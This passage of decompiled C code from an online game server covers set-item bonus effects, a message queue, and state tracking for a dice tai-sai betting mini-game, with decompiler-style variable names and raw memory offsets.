>= 4 ) break; } } ++v4; } while ( v4 < 6 ); v8 = v10 == 1; seteffecta += 10; ++v9; --v10; } while ( !v8 ); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SetItemData::SetItemClassifier::sic_SetItemDefine"); } //----- (004CF950) -------------------------------------------------------- void __thiscall SetItemData::SetItemEffectList::siel_AppendEffect(SetItemData::SetItemEffectList *this, unsigned __int16 effect, unsigned __int16 skillid) { SetItemData::SetItemEffectList *v3; // esi@1 unsigned __int16 v4; // ax@1 bool v5; // zf@1 int v6; // edx@3 const void *v7; // eax@3 int v8; // esi@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "SetItemData::SetItemEffectList::siel_AppendEffect"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SetItemData::SetItemEffectList::siel_AppendEffect"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = effect; v5 = effect >= 0x400u; *(_DWORD *)&effect = effect < 0x400u; if ( v5 ) { AssertClass::ac_AssertFail( &shineassert, "SetItemData::SetItemEffectList::siel_AppendEffect : EffectHandle wrong", v4); } else { v6 = 48 * v4; v7 = v3->siel_SetItemEffectList[v4].skilllist; v8 = (int)((char *)v3 + v6); *(_DWORD *)&effect = skillid; if ( !v7 || bsearch(&effect, v7, *(_DWORD *)(v8 + 44), 2u, MobAttackSequence::AttackElement4Mob::ae4m_Compare) != 0 ) { setitemskilleffect.se_Argument[*(_DWORD *)(v8 + 32)] += *(_DWORD *)(v8 + 36); setitemskilleffect.se_Argument[*(_DWORD *)(v8 + 32)] -= 1000; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SetItemData::SetItemEffectList::siel_AppendEffect"); } //----- (004CFA70) -------------------------------------------------------- void __thiscall SetItemData::SkillEffect::se_Clear(SetItemData::SkillEffect *this) { SetItemData::SkillEffect *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "SetItemData::SkillEffect::se_Clear"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SetItemData::SkillEffect::se_Clear"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v1->se_Argument[0] = 1000; v1->se_Argument[1] = 1000; v1->se_Argument[2] = 1000; v1->se_Argument[3] = 1000; v1->se_Argument[4] = 1000; v1->se_Argument[5] = 1000; v1->se_Argument[6] = 1000; v1->se_Argument[7] = 1000; v1->se_Argument[8] = 1000; v1->se_Argument[9] = 1000; v1->se_Argument[10] = 1000; v1->se_Argument[11] = 1000; v1->se_Argument[12] = 1000; v1->se_Argument[13] = 1000; v1->se_Argument[14] = 1000; v1->se_Argument[15] = 1000; v1->se_Argument[16] = 1000; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "SetItemData::SkillEffect::se_Clear"); } //----- (004CFB00) -------------------------------------------------------- void __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_SetItemEffectStore(AbnormalStateContainer::AbstateElementInObject *this) { AbnormalStateContainer::AbstateElementInObject *v1; // ebx@1 unsigned int v2; // edi@1 int v3; // esi@1 unsigned int v4; // eax@1 int v5; // ebp@3 SetIndex v6; // [sp-14h] [bp-24h]@5 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aeo_SetItemEffectStore"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbstateElementInObject::aeo_SetItemEffectStore"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = 0; v3 = (int)&v1->aeo_SetItemEffect; v4 = 0; do { *(_DWORD *)(v3 + 8 * v4) = 0; *(_WORD *)(v3 + 8 * v4++ + 4) = 1000; } while ( v4 < 4 ); v5 = *((_DWORD *)&unk_611F6C + 3 * v1->aeo_Index); do { switch ( *(_DWORD *)(v2 + 36 * v1->aeo_Strength + v5 + 12) ) { case 3: case 4: case 0xD: case 0x2E: case 0x53: case 0x54: case 0x5E: case 0x5F: v6 = 2; goto LABEL_12; case 5: case 6: case 0x49: case 0x4A: v6 = 3; goto LABEL_12; case 7: case 0x51: v6 = 8; goto LABEL_12; case 0xA: case 0xB: case 0x5C: case 0x5D: v6 = 11; goto LABEL_12; case 0x14: case 0x58: v6 = 10; goto LABEL_12; case 0x1E: case 0x52: v6 = 1; goto LABEL_12; case 0x16: case 0x17: case 0x23: case 0x24: case 0x55: v6 = 14; LABEL_12: SetItemData::SetItemAbstateEffect::siae_SetItemEffectStore(&v1->aeo_SetItemEffect, v6); break; default: break; } v2 += 8; } while ( v2 < 0x20 ); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aeo_SetItemEffectStore"); } //----- (004CFC80) -------------------------------------------------------- void __thiscall SetItemData::SetItemAbstateEffect::siae_ParameterRefit(SetItemData::SetItemAbstateEffect *this) { SetItemData::SetItemAbstateEffect *v1; // esi@1 unsigned int v2; // edi@1 int v3; // esi@1 int v4; // eax@3 signed int v5; // eax@8 signed int v6; // edx@8 int v7; // [sp+14h] [bp+4h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "SetItemData::SetItemAbstateEffect::siae_ParameterRefit"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SetItemData::SetItemAbstateEffect::siae_ParameterRefit"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = 0; v3 = (int)&v1->siae_Buffer[0].Argument_Base1000; while ( 1 ) { switch ( *(_DWORD *)(v3 - 4) ) { case 2: v4 = *(_DWORD *)(v7 + 2324); *(_DWORD *)(v7 + 2328) += *(_WORD *)v3 - 1000; *(_DWORD *)(v7 + 2324) = *(_WORD *)v3 - 1000 + v4; goto LABEL_9; case 3: *(_DWORD *)(v7 + 2332) += *(_WORD *)v3 - 1000; goto LABEL_9; case 8: *(_DWORD *)(v7 + 2312) += *(_WORD *)v3 - 1000; goto LABEL_9; case 0xA: *(_DWORD *)(v7 + 2380) += *(_WORD *)v3 - 1000; goto LABEL_9; case 0xB: *(_DWORD *)(v7 + 2336) += *(_WORD *)v3 - 1000; goto LABEL_9; case 0xE: v5 = *(_DWORD *)(v7 + 2252) * *(_WORD *)v3; *(_DWORD *)(v7 + 2252) = v5; *(_DWORD *)(v7 + 2256) *= *(_WORD *)v3; v6 = *(_DWORD *)(v7 + 2256); *(_DWORD *)(v7 + 2252) = v5 / 1000; *(_DWORD *)(v7 + 2256) = v6 / 1000; goto LABEL_9; default: LABEL_9: ++v2; v3 += 8; if ( v2 >= 4 ) goto $L142741; break; case 0: $L142741: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SetItemData::SetItemAbstateEffect::siae_ParameterRefit"); return; } } } //----- (004CFE60) -------------------------------------------------------- void __thiscall MemoryQueue::MemoryQueue(MemoryQueue *this) { MemoryQueue *v1; // esi@1 v1 = this; _eh_vector_constructor_iterator_( this, 0x48u, 128, (void (__thiscall *)(void *))MoveManager::MoveManager, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->mq_Pointer.mask = 127; v1->mq_Pointer.value = 0; } //----- (004CFEA0) -------------------------------------------------------- void __thiscall MemoryQueue::_MemoryQueue(MemoryQueue *this) { _eh_vector_destructor_iterator_( this, 0x48u, 128, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (004CFEC0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SetItemCheck(void *this) { void *v1; // esi@1 ItemInventoryCell *v2; // eax@2 unsigned __int16 v3; // ax@3 ItemDataBox::ItemDataBoxIndex *v4; // eax@3 ItemBoxIterItem ibii; // [sp+4h] [bp-1Ch]@1 int v6; // [sp+1Ch] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SetItemCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_SetItemCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; memset(setitemclassifier.sic_ItemSetPiece, 0, sizeof(setitemclassifier.sic_ItemSetPiece)); v6 = 0; ItemBoxIterItem::ItemBoxIterItem(&ibii, (ItemBag *)v1 + 8042, 0); LOBYTE(v6) = 1; ItemBoxIterator::ibi_Home(&ibii.baseclass_0); do { v2 = ItemBoxIterator::ibi_Get(&ibii.baseclass_0); if ( !v2 ) break; v3 = ItemInventoryCell::iic_ItemIdent((ItemInform_ActionItem *)v2); v4 = ItemDataBox::operator__(&itemdatabox, v3); if ( !v4 ) break; if ( v4->SetItemIndex < setitemclassifier.sic_TotalNumber ) ++setitemclassifier.sic_ItemSetPiece[v4->SetItemIndex]; } while ( ItemBoxIterator::ibi_Next(&ibii.baseclass_0) ); SetItemData::SetItemClassifier::sic_SetItemDefine( &setitemclassifier, (SetItemData::PlayerSetEffect *)((char *)v1 + 92256)); LOBYTE(v6) = 0; ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)&ibii); --funcallanalizer.fca_stackpoint; v6 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SetItemCheck"); } //----- (004CFFF0) -------------------------------------------------------- void __cdecl ShineObjectClass::ShineMobileObject::smo_ply_SetItemEffect(__int16 skillid) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_ply_SetItemEffect"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_ply_SetItemEffect"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; SetItemData::SkillEffect::se_Clear(&setitemskilleffect); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_ply_SetItemEffect"); } //----- (004D0090) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_ply_SetItemEffect(void *this, __int16 skillid) { int v2; // ebx@1 signed int v3; // esi@1 unsigned __int16 *v4; // edi@2 __int16 v5; // ax@5 v2 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_SetItemEffect"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::smo_ply_SetItemEffect"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; ShineObjectClass::ShineMobileObject::smo_ply_SetItemEffect(skillid); if ( *(_BYTE *)(v2 + 92276) ) { v4 = (unsigned __int16 *)(v2 + 92256); do { SetItemData::SetItemEffectList::siel_AppendEffect(&setitemeffectlist, *v4, skillid); ++v3; ++v4; } while ( v3 < *(_BYTE *)(v2 + 92276) ); } if ( *(_WORD *)(v2 + 92254) == -1 ) { v5 = ShineObjectClass::ShineObject::so_GetZoneHandle_ItemLooter(v2); setitemskilleffectqueue.mq_Pointer.value = setitemskilleffectqueue.mq_Pointer.mask & (setitemskilleffectqueue.mq_Pointer.value + 1); setitemskilleffectqueue.mq_Buffer[setitemskilleffectqueue.mq_Pointer.value].handle = v5; memcpy((void *)(72 * setitemskilleffectqueue.mq_Pointer.value + 307018308), &setitemskilleffect, 0x44u); *(_WORD *)(v2 + 92254) = LOWORD(setitemskilleffectqueue.mq_Pointer.value); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_SetItemEffect"); } //----- (004D01C0) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::so_IsJoinThisGame(int this, int nGameType) { bool result; // al@2 if ( *(_DWORD *)(this + 23344) == 1 ) result = nGameType == 1; else result = 0; return result; } //----- (004D01E0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_GetMiniGameInfo(int this) { int result; // eax@2 if ( *(_DWORD *)(this + 23344) == 1 ) result = this + 23376; else result = 0; return result; } //----- (004D0200) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_SetMiniGameInfo(int this, int nGameType) { char result; // al@3 if ( nGameType ) { if ( nGameType == 1 ) { result = 1; *(_DWORD *)(this + 23344) = 1; } else { result = 0; *(_DWORD *)(this + 23344) = 0; } } else { result = 1; *(_DWORD *)(this + 23344) = 0; } return result; } //----- (004D0240) -------------------------------------------------------- #error "4D0240: undefined or illegal type '#325' (funcsize=38)" //----- (004D02B0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_GetDiceTaiSaiGameLeaveInfo(int this, int pGameLeaveReserve) { char result; // al@3 if ( pGameLeaveReserve && *(_DWORD *)(this + 23344) == 1 ) { *(_BYTE *)pGameLeaveReserve = *(_BYTE *)(this + 23376); result = 1; } else { result = 0; } return result; } //----- (004D02E0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_SetDiceTaiSaiGameLeaveInfo(int this, char bGameLeaveReserve) { char result; // al@4 if ( bGameLeaveReserve && bGameLeaveReserve != 1 || *(_DWORD *)(this + 23344) != 1 ) { result = 0; } else { *(_BYTE *)(this + 23376) = bGameLeaveReserve; result = 1; } return result; } //----- (004D0310) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_GetDiceTaiSaiRoomLeaveInfo(int this, int pRoomLeaveReserve) { char result; // al@3 if ( pRoomLeaveReserve && *(_DWORD *)(this + 23344) == 1 ) { *(_BYTE *)pRoomLeaveReserve = *(_BYTE *)(this + 23377); result = 1; } else { result = 0; } return result; } //----- (004D0340) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_SetDiceTaiSaiRoomLeaveInfo(int this, char bRoomLeaveReserve) { char result; // al@4 if ( bRoomLeaveReserve && bRoomLeaveReserve != 1 || *(_DWORD *)(this + 23344) != 1 ) { result = 0; } else { *(_BYTE *)(this + 23377) = bRoomLeaveReserve; result = 1; } return result; } //----- (004D0370) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_SetMiniGameRoomLeaveMapInfo(int this, const char *sMapName, int LocateXY) { int v3; // esi@1 char result; // al@3 v3 = this; if ( sMapName && LocateXY ) { strncpy((char *)(this + 23352), sMapName, 0xCu); *(_DWORD *)(v3 + 23365) = *(_DWORD *)LocateXY; *(_DWORD *)(v3 + 23369) = *(_DWORD *)(LocateXY + 4); result = 1; } else { result = 0; } return result; } //----- (004D03C0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_GetMiniGameRoomLeaveMapInfo(int this, char *sMapName, int LocateXY) { int v3; // esi@1 char result; // al@3 v3 = this; if ( sMapName && LocateXY ) { strncpy(sMapName, (const char *)(this + 23352), 0xCu); *(_DWORD *)LocateXY = *(_DWORD *)(v3 + 23365); *(_DWORD *)(LocateXY + 4) = *(_DWORD *)(v3 + 23369); result = 1; } else { result = 0; } return result; } //----- (004D0410) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_GetDiceTaiSaiInfo(int this) { int result; // eax@2 if ( *(_DWORD *)(this + 23344) == 1 ) result = this + 23376; else result = 0; return result; } //----- (004D0430) -------------------------------------------------------- char __thiscall CQuest::GetQuestPlayerGender(CQuest *this) { return 0; } //----- (004D0440) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ClearDiceTaiSaiInfo(int this) { char result; // al@2 if ( *(_DWORD *)(this + 23344) == 1 ) { *(_DWORD *)(this + 23588) = 0; memset((void *)(this + 23380), 0, 0xD0u); *(_DWORD *)(this + 23592) = 0; *(_DWORD *)(this + 23596) = 0; result = 1; } else { result = 0; } return result; } //----- (004D0480) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_SetDiceTaiSaiAllBettingCancelInfo(int this, int pTaiSaiBetting, int bIsLastBettingCancel) { char result; // al@2 unsigned int v4; // edx@5 if ( *(_DWORD *)(this + 23344) == 1 ) { if ( bIsLastBettingCancel && (v4 = *(_DWORD *)(pTaiSaiBetting + 4)) != 0 ) { if ( *(_DWORD *)(this + 4 * *(_DWORD *)pTaiSaiBetting + 23380) >= v4 ) { *(_DWORD *)(this + 23588) -= *(_DWORD *)(pTaiSaiBetting + 4); *(_DWORD *)(this + 4 * *(_DWORD *)pTaiSaiBetting + 23380) -= *(_DWORD *)(pTaiSaiBetting + 4); *(_BYTE *)bIsLastBettingCancel = 0; if ( !*(_DWORD *)(this + 4 * *(_DWORD *)pTaiSaiBetting + 23380) ) *(_BYTE *)bIsLastBettingCancel = 1; result = 1; } else { result = 0; } } else { result = 0; } } else { result = 0; } return result; } //----- (004D0500) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_SendExpectIncomeMoney(void *this, int pDBAck) { void *v2; // esi@1 char result; // al@2 char *v4; // eax@3 int v5; // eax@5 v2 = this; if ( pDBAck ) { v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -21490; *((_WORD *)v4 + 1) = *(_WORD *)pDBAck; *((_WORD *)v4 + 2) = *(_WORD *)(pDBAck + 8); *(_DWORD *)(v4 + 6) = *(_DWORD *)(pDBAck + 18); *(_DWORD *)(v4 + 10) = *(_DWORD *)(pDBAck + 22); *(_DWORD *)(v4 + 14) = *(_DWORD *)(pDBAck + 26); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 18) ) { v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 760))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v5 + 12))(v5, v2, &gpp); result = 1; } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_SendExpectIncomeMoney : Packet Too Long", 18); result = 1; } } else { result = 0; } return result; } //----- (004D0590) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_SendReceiptIncomeMoney(void *this, int pDBAck) { void *v2; // esi@1 char result; // al@2 int v4; // eax@3 int v5; // eax@4 int v6; // ST04_4@5 DebugLogging *v7; // eax@5 DebugLogging *v8; // eax@5 __int64 v9; // qax@6 int v10; // eax@7 char *v11; // eax@8 int v12; // eax@10 v2 = this; if ( pDBAck ) { v4 = *(_DWORD *)this; if ( *(_WORD *)pDBAck == 7424 ) { v5 = (*(int (**)(void))(v4 + 1916))(); if ( !(unsigned __int8)(*(int (__thiscall **)(int, void *, _DWORD, _DWORD))(*(_DWORD *)v5 + 24))( v5, v2, *(_WORD *)(pDBAck + 2), 0) ) { v6 = *(_WORD *)(pDBAck + 2); v7 = DebugLogging::operator<<(&LockIndexLog, "ShineObjectClass::ShinePlayer::so_SendReceiptIncomeMoney : "); v8 = DebugLogging::operator<<(v7, v6); DebugLogging::operator<<(v8, &deb_LF); } LODWORD(v9) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1056))(v2); (*(void (__thiscall **)(void *, _DWORD, _DWORD))(*(_DWORD *)v2 + 1068))( v2, v9 + *(_DWORD *)(pDBAck + 20), (unsigned __int64)(v9 + *(_QWORD *)(pDBAck + 20)) >> 32); (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 1076))(v2); } else { v10 = (*(int (**)(void))(v4 + 1916))(); (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v10 + 32))(v10, *(_WORD *)(pDBAck + 2)); } v11 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -21486; *((_WORD *)v11 + 1) = *(_WORD *)pDBAck; *((_WORD *)v11 + 2) = *(_WORD *)(pDBAck + 10); *(_DWORD *)(v11 + 6) = *(_DWORD *)(pDBAck + 20); *(_DWORD *)(v11 + 10) = *(_DWORD *)(pDBAck + 24); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 14) ) { v12 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 760))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v12 + 12))(v12, v2, &gpp); result = 1; } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_SendReceiptIncomeMoney : Packet Too Long", 14); result = 1; } } else { result = 0; } return result; } //----- (004D06A0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_SetDiceTaiSaiAllBettingInfo(int this, int pTaiSaiBetting, int bIsFirstBetting) { char result; // al@3 if ( *(_DWORD *)(this + 23344) == 1 && bIsFirstBetting ) { if ( *(_DWORD *)(pTaiSaiBetting + 4) ) { *(_BYTE *)bIsFirstBetting = 0; if ( !*(_DWORD *)(this + 4 * *(_DWORD *)pTaiSaiBetting + 23380) ) *(_BYTE *)bIsFirstBetting = 1; *(_DWORD *)(this + 23588) += *(_DWORD *)(pTaiSaiBetting + 4); *(_DWORD *)(this + 4 * *(_DWORD *)pTaiSaiBetting + 23380) += *(_DWORD *)(pTaiSaiBetting + 4); result = 1; } else { result = 0; } } else { result = 0; } return result; } //----- (004D0700) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_SetCTDiceTaiSaiWin(int this, unsigned __int16 nWinCnt) { char result; // al@2 if ( nWinCnt ) { CCharacterTitleZone::CT_WinDiceTaiSaiWin((CCharacterTitleZone *)(this + 89920), nWinCnt); result = 1; } else { result = 0; } return result; } //----- (004D0720) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_SetCTDiceTaiSaiSet(int this) { CCharacterTitleZone::CT_WinDiceTaiSaiSet((CCharacterTitleZone *)(this + 89920)); return 1; } //----- (004D0730) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_InitDiceInfo(ShineObjectClass::ShineMiniHouse *this) { ShineObjectClass::ShineMiniHouse *v1; // esi@1 char *v2; // ecx@1 int v3; // eax@1 signed int v4; // edx@1 unsigned int v5; // edi@3 int v6; // ebp@3 void *v7; // eax@4 v1 = this; *(_DWORD *)&this->smh_DiceTaiSai.ActiveDice.nActiveDiceTaiSaiKey.binary.gap0[0] = -1; this->smh_DiceTaiSai.ActiveDice.nActiveDiceTaiSaiKey.binary._bf4 = -1; this->smh_DiceTaiSai.ActiveDice.nGameNPCType = 0; this->smh_DiceTaiSai.ActiveDice.ItemID = -1; this->smh_DiceTaiSai.ActiveDice.pActiveDiceTaiSaiCell = 0; this->smh_DiceTaiSai.ActiveDice.UseMinLv = 0; this->smh_DiceTaiSai.ActiveDice.GetSysRate = 0; this->smh_DiceTaiSai.ActiveDice.GetMasterRate = 0; this->smh_DiceTaiSai.ActiveDice.MinGetMoney = 0; this->smh_DiceTaiSai.ActiveDice.MaxBetMoney = 0; this->smh_DiceTaiSai.ActiveDice.CastTime = 0; this->smh_DiceTaiSai.ActiveDice.DelayTime = 0; this->smh_DiceTaiSai.ActiveDice.WinCode[0] = 0; this->smh_DiceTaiSai.ActiveDice.WinCode[1] = 0; this->smh_DiceTaiSai.ActiveDice.WinCode[2] = 0; this->smh_DiceTaiSai.ActiveDice.LoseCode[0] = 0; this->smh_DiceTaiSai.ActiveDice.LoseCode[1] = 0; this->smh_DiceTaiSai.ActiveDice.LoseCode[2] = 0; this->smh_DiceTaiSai.Reserve.bIsCreateDice = 0; this->smh_DiceTaiSai.Reserve.bIsDeleteDice = 0; this->smh_DiceTaiSai.Reserve.bIsBlowGame = 0; this->smh_DiceTaiSai.Reserve.bIsLeaveOwner = 0; this->smh_DiceTaiSai.nGameMode = 0; this->smh_DiceTaiSai.bIsActiveTimerCheckTime = 0; this->smh_DiceTaiSai.nTimerCheckTime = 0; this->smh_DiceTaiSai.bIsAdminDice = 0; *(_DWORD *)&this->smh_DiceTaiSai.History[0].nNumber[0] = 0; *(_DWORD *)&this->smh_DiceTaiSai.History[1].nNumber[1] = 0; *(_DWORD *)&this->smh_DiceTaiSai.History[2].nNumber[2] = 0; *(_DWORD *)&this->smh_DiceTaiSai.History[4].nNumber[0] = 0; *(_DWORD *)&this->smh_DiceTaiSai.History[5].nNumber[1] = 0; this->smh_DiceTaiSai.History[6].nNumber[2] = 0; *(_WORD *)&this->smh_DiceTaiSai.CurrentRollingDice.nNumber[0] = 0; this->smh_DiceTaiSai.CurrentRollingDice.nNumber[2] = 0; this->smh_DiceTaiSai.nGamerCnt = 0; v2 = (char *)this->smh_DiceTaiSai.pRank; v3 = (int)&v1->smh_DiceTaiSai.GamerInfo[0].nTotalWinCnt; v4 = 99; do { *(_DWORD *)(v3 - 4) = 0; *(_DWORD *)v3 = 0; *(_DWORD *)v2 = 0; v2 += 4; v3 += 8; --v4; } while ( v4 ); (*(void (__thiscall **)(_DWORD))(*(_DWORD *)&v1->gap0[0] + 468))(v1); v1->smh_DiceTaiSai.nDiceRateSum = 0; v5 = 0; v6 = (int)v1->smh_DiceTaiSai.nDiceRate; while ( 1 ) { v7 = CDataReader::GetRecord(&gMiniHouseDiceRate, v5); if ( !v7 ) break; *(_WORD *)v6 = *(_WORD *)v7; ++v5; v6 += 2; v1->smh_DiceTaiSai.nDiceRateSum += *(_DWORD *)v7; if ( (signed int)v5 >= 216 ) return 1; } return 0; } //----- (004D08A0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_InitActiveDiceInfo(ShineObjectClass::ShineMiniHouse *this, ItemInventoryCell *pInvenCell) { ItemInventoryCell *v2; // edi@1 ShineObjectClass::ShineMiniHouse *v3; // esi@1 char result; // al@2 unsigned __int16 v5; // bp@3 unsigned int v6; // eax@6 void *v7; // ecx@7 unsigned int v8; // edi@14 int v9; // ebp@14 void *v10; // eax@15 unsigned int v11; // [sp+0h] [bp-4h]@4 unsigned int pInvenCella; // [sp+8h] [bp+4h]@6 v2 = pInvenCell; v3 = this; if ( pInvenCell ) { v5 = pInvenCell->iic_Item.iti_itemstruct.itemid; if ( gMiniHouseDiecGame.m_pHead ) v11 = gMiniHouseDiecGame.m_pHead->nNumOfRecord; else v11 = 0; v6 = 0; pInvenCella = 0; if ( (signed int)v11 > 0 ) { while ( 1 ) { v7 = CDataReader::GetRecord(&gMiniHouseDiecGame, v6); if ( *(_WORD *)v7 == v5 ) break; ++pInvenCella; if ( (signed int)pInvenCella >= (signed int)v11 ) break; v6 = pInvenCella; } v6 = pInvenCella; } else { v7 = 0; } if ( v6 != v11 ) { v3->smh_DiceTaiSai.ActiveDice.nGameNPCType = v6; v3->smh_DiceTaiSai.ActiveDice.ItemID = v5; *(_DWORD *)&v3->smh_DiceTaiSai.ActiveDice.nActiveDiceTaiSaiKey.binary.gap0[0] = *(_DWORD *)&v2->iic_Item.iti_registnum.binary.gap0[0]; v3->smh_DiceTaiSai.ActiveDice.nActiveDiceTaiSaiKey.binary._bf4 = v2->iic_Item.iti_registnum.binary._bf4; v3->smh_DiceTaiSai.ActiveDice.pActiveDiceTaiSaiCell = v2; v3->smh_DiceTaiSai.ActiveDice.UseMinLv = *((_WORD *)v7 + 1); v3->smh_DiceTaiSai.ActiveDice.GetSysRate = *((_WORD *)v7 + 2); v3->smh_DiceTaiSai.ActiveDice.GetMasterRate = *((_WORD *)v7 + 3); v3->smh_DiceTaiSai.ActiveDice.MinGetMoney = *((_DWORD *)v7 + 2); v3->smh_DiceTaiSai.ActiveDice.MaxBetMoney = *((_DWORD *)v7 + 3); v3->smh_DiceTaiSai.ActiveDice.CastTime = ((signed int)((unsigned __int64)(2748779070i64 * *((_WORD *)v7 + 8)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(2748779070i64 * *((_WORD *)v7 + 8)) >> 32) >> 31); v3->smh_DiceTaiSai.ActiveDice.DelayTime = ((signed int)((unsigned __int64)(2748779070i64 * *((_WORD *)v7 + 9)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(2748779070i64 * *((_WORD *)v7 + 9)) >> 32) >> 31); v3->smh_DiceTaiSai.ActiveDice.WinCode[0] = *((_DWORD *)v7 + 5); v3->smh_DiceTaiSai.ActiveDice.WinCode[1] = *((_DWORD *)v7 + 6); v3->smh_DiceTaiSai.ActiveDice.WinCode[2] = *((_DWORD *)v7 + 7); v3->smh_DiceTaiSai.ActiveDice.LoseCode[0] = *((_DWORD *)v7 + 8); v3->smh_DiceTaiSai.ActiveDice.LoseCode[1] = *((_DWORD *)v7 + 9); v3->smh_DiceTaiSai.ActiveDice.LoseCode[2] = *((_DWORD *)v7 + 10); v3->smh_DiceTaiSai.Reserve.bIsCreateDice = 0; v3->smh_DiceTaiSai.Reserve.bIsDeleteDice = 0; v3->smh_DiceTaiSai.Reserve.bIsBlowGame = 0; v3->smh_DiceTaiSai.Reserve.bIsLeaveOwner = 0; v3->smh_DiceTaiSai.nGameMode = 0; v3->smh_DiceTaiSai.bIsActiveTimerCheckTime = 0; v3->smh_DiceTaiSai.nTimerCheckTime = 0; v3->smh_DiceTaiSai.bIsAdminDice = 0; *(_DWORD *)&v3->smh_DiceTaiSai.History[0].nNumber[0] = 0; *(_DWORD *)&v3->smh_DiceTaiSai.History[1].nNumber[1] = 0; *(_DWORD *)&v3->smh_DiceTaiSai.History[2].nNumber[2] = 0; *(_DWORD *)&v3->smh_DiceTaiSai.History[4].nNumber[0] = 0; *(_DWORD *)&v3->smh_DiceTaiSai.History[5].nNumber[1] = 0; v3->smh_DiceTaiSai.History[6].nNumber[2] = 0; 